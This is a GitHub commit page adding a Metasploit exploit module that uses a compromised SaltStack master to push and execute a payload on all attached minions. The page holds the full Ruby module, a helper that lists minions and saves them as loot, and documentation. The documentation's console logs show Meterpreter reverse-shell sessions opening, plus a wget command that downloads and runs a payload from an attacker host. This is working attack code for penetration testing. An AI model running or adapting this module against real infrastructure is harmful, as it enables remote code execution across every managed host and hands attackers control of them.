-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18626, SaltStack Minion Deployer
This PR adds an exploit module which allows for a user who has compromised a host acting as a SaltStack Master to deploy payloads to the Minions attached to that Master.
- Loading branch information
Showing
4 changed files
with
306 additions
and
19 deletions.
There are no files selected for viewing
126 changes: 126 additions & 0 deletions
126
documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
## Vulnerable Application | ||
|
||
This exploit module uses saltstack salt to deploy a payload and run it | ||
on all targets which have been selected (default all). | ||
Currently only works against nix targets. | ||
|
||
### Vulnerable Host | ||
|
||
A vulnerable host install can be found in this [Docker environment](https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-11651/docker-compose.yml). | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Get an initial shell on the box | ||
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer` | ||
1. Do: `set session [#]` | ||
1. Do: `run` | ||
1. You should get sessions on all the targeted hosts | ||
|
||
## Options | ||
|
||
### SALT | ||
|
||
Location of salt-master executable if not in a standard location. This is added to a list of default locations | ||
which includes `/usr/bin/salt-master`, `/usr/local/bin/salt-master`. Defaults to `` | ||
|
||
### MINIONS | ||
|
||
Which minions to target. Defaults to `*` | ||
|
||
### WritableDir | ||
|
||
A directory on the compromised host we can write our payload to. Defaults to `/tmp` | ||
|
||
### TargetWritableDir | ||
|
||
A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp` | ||
|
||
### CALCULATE | ||
|
||
This will calculate how many hosts may be exploitable by using Ansible's ping command. | ||
|
||
### ListenerTimeout | ||
|
||
How many seconds to wait after executing the payload for hosts to call back. | ||
If set to `0`, wait forever. Defaults to `60` | ||
|
||
## Scenarios | ||
|
||
### Minion 3002.2 on Ubuntu 20.04 | ||
|
||
Get initial access to the system. In this case, root was required to execute salt commands successfully. | ||
|
||
``` | ||
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery | ||
[*] Using configured payload python/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
resource (salt_deploy.rb)> set srvport 8181 | ||
srvport => 8181 | ||
resource (salt_deploy.rb)> set target 7 | ||
target => 7 | ||
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
[*] Using URL: http://1.1.1.1:8181/hvy2Ol | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown | ||
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes) | ||
[*] Sending stage (3045380 bytes) to 3.3.3.3 | ||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500 | ||
``` | ||
|
||
``` | ||
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer | ||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> set session 1 | ||
session => 1 | ||
resource (salt_deploy.rb)> set verbose true | ||
verbose => true | ||
resource (salt_deploy.rb)> set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
resource (salt_deploy.rb)> set lport 9996 | ||
lport => 9996 | ||
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) > | ||
[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run | ||
[*] Exploit running as background job 1. | ||
[*] Exploit completed, but no session was created. | ||
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > | ||
[*] Started reverse TCP handler on 1.1.1.1:9996 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] /tmp is writable, and salt-master executable found | ||
[+] The target is vulnerable. | ||
[*] Attempting to list minions | ||
[*] minions: | ||
- mac_minion | ||
- salt-minion | ||
- window-salt-minion | ||
minions_denied: [] | ||
minions_pre: [] | ||
minions_rejected: [] | ||
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml | ||
[+] Minions List | ||
============ | ||
Status Minion Name | ||
------ ----------- | ||
Accepted mac_minion | ||
Accepted salt-minion | ||
Accepted window-salt-minion | ||
[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal. | ||
[*] Writing '/tmp/E76Azw' (336 bytes) ... | ||
[*] Copying payload to minions | ||
[*] Executing payloads | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 2.2.2.2 | ||
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500 | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
require 'yaml' | ||
|
||
module Msf | ||
module Exploit::Local::Saltstack | ||
# | ||
# lists minions using the salt-key command. | ||
# | ||
# @param salt_key_exe [String] The name location of the salt-key executable | ||
# @return [YAML] YAML document with the minions listed | ||
# | ||
def list_minions(salt_key_exe = 'salt-key') | ||
# pull minions from a master, returns hash of lists of the output | ||
print_status('Attempting to list minions') | ||
unless command_exists?(salt_key_exe) | ||
print_error('salt-key not present on system') | ||
return | ||
end | ||
|
||
begin | ||
out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT']) | ||
vprint_status(out) | ||
minions = YAML.safe_load(out) | ||
rescue Psych::SyntaxError | ||
print_error('Unable to load salt-key -L data') | ||
return | ||
end | ||
|
||
store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') | ||
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") | ||
minions | ||
end | ||
end | ||
end |
141 changes: 141 additions & 0 deletions
141
modules/exploits/linux/local/saltstack_salt_minion_deployer.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,141 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = GoodRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
include Msf::Exploit::Local::Saltstack | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Saltstack Minion Payload Deployer', | ||
'Description' => %q{ | ||
This exploit module uses saltstack salt to deploy a payload and run it | ||
on all targets which have been selected (default all). | ||
Currently only works against nix targets. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'c2Vlcgo' | ||
], | ||
'Platform' => [ 'linux', 'unix' ], | ||
'Stance' => Msf::Exploit::Stance::Passive, | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'Privileged' => true, | ||
'References' => [], | ||
'DisclosureDate' => '2011-03-19', # saltstack salt original release date | ||
'DefaultTarget' => 0, | ||
'Passive' => true, # this allows us to get multiple shells calling home | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
register_options [ | ||
OptString.new('SALT', [true, 'salt-master executable location', '']), | ||
OptString.new('MINIONS', [true, 'Minions Target', '*']), | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), | ||
OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]), | ||
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]), | ||
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]), | ||
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120]) | ||
] | ||
end | ||
|
||
def salt_master | ||
return @salt if @salt | ||
|
||
[datastore['SALT'], '/usr/bin/salt-master', '/usr/local/bin/salt-master'].each do |exec| | ||
next unless executable?(exec) | ||
|
||
@salt = exec | ||
return @salt | ||
end | ||
@salt | ||
end | ||
|
||
def list_minions_printer | ||
minions = list_minions | ||
return if minions.nil? | ||
|
||
tbl = Rex::Text::Table.new( | ||
'Header' => 'Minions List', | ||
'Indent' => 1, | ||
'Columns' => ['Status', 'Minion Name'] | ||
) | ||
|
||
count = 0 | ||
minions['minions'].each do |minion| | ||
tbl << ['Accepted', minion] | ||
count += 1 | ||
end | ||
|
||
print_good(tbl.to_s) | ||
|
||
# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017 | ||
print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.") | ||
Rex.sleep(10) | ||
count | ||
end | ||
|
||
def check | ||
return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil? | ||
|
||
CheckCode::Vulnerable('salt-master executable found') | ||
end | ||
|
||
def exploit | ||
# Make sure we can write our exploit and payload to the local system | ||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] | ||
count = 1 # default to running if we decide not to calculate | ||
count = list_minions_printer if datastore['CALCULATE'] | ||
fail_with Failure::NotFound, 'No exploitable minions found.' if count == 0 | ||
|
||
payload_name = rand_text_alphanumeric(5..10) | ||
|
||
# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899 | ||
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe) | ||
|
||
print_status('Copying payload to minions') | ||
cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'") | ||
print_status('Executing payloads') | ||
cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'") | ||
|
||
# stolen from exploit/multi/handler | ||
stime = Time.now.to_f | ||
timeout = datastore['ListenerTimeout'].to_i | ||
loop do | ||
break if timeout > 0 && (stime + timeout < Time.now.to_f) | ||
|
||
Rex::ThreadSafe.sleep(1) | ||
end | ||
end | ||
|
||
def on_new_session(_session) | ||
super | ||
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi') | ||
|
||
begin | ||
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}") | ||
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}") | ||
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed") | ||
rescue StandardError | ||
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}") | ||
end | ||
end | ||
|
||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters